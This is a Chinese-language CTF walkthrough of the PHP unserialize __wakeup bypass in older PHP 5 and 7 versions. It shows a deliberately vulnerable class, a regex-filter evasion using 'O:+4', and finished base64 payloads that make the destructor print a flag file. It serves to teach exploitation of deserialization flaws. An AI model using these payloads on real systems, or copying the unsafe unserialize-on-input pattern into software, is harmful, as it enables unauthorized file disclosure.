漏洞影响的版本
从官网得知
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞利用方法
若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
演示
可能上面说的有点抽象就拿我今天遇到一道题来做个案例,运行下图
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$var = new Demo("fl4g.php");
$var = serialize($var);
echo($var);
?>
结果为O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
,上面所说的更改对象属性个数的值也就是把DEMO:1改成Demo:2或者其他比1大的数字即可实现绕过,
漏洞复现
案例代码
来个php代码进行举例:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
echo ("wakeup执行了");
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
echo ("我执行了");
@unserialize($var);
}
} else {
highlight_file("index.php");
}
正常效果
首先按照O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
对其进行base64加密后传参,wakeup执行了,顺便多提一句绕过这个正则表达式$var = str_replace('O:4', 'O:+4',$var);
解释一下,preg_match('/[oc]:\d+:/i', $var)
的意思是不分大小写的匹配以o或者c开头后面跟着:与一个以上数字也就是匹配了上面的O:4
,因此我们只需要再中间加个其他符号即可绕过;
执行序列化过程:
$var = new Demo("fl4g.php");
$var = serialize($var);
$var = str_replace('O:4', 'O:+4',$var);
$a = preg_match('/[oc]:\d+:/i', $var);
echo(base64_encode($var));
得到结果:
TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
放入payload中执行得到
修改参数后的效果
将数字1改为2,O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
,当然也可以改成其他数字反正必须比1大就行
$var = new Demo("fl4g.php");
$var = serialize($var);
$var = str_replace('O:4', 'O:+4',$var);
$var = str_replace(':1:', ':2:',$var);
$a = preg_match('/[oc]:\d+:/i', $var);
echo(base64_encode($var));
得到结果:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构建payload执行得到:完美绕过wakeup函数,复现结束